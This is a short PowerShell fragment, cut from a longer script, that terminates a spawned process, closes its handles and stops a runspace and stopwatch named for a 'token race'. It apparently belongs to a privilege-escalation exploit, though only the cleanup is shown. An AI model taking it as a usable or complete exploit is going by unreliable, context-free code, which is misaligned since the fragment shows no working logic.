	$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
	$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
	$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
	}

	# Kill runspace & stopwatch if edge-case
	$StartTokenRace.Stop()
	$SafeGuard.Stop()
	}
	}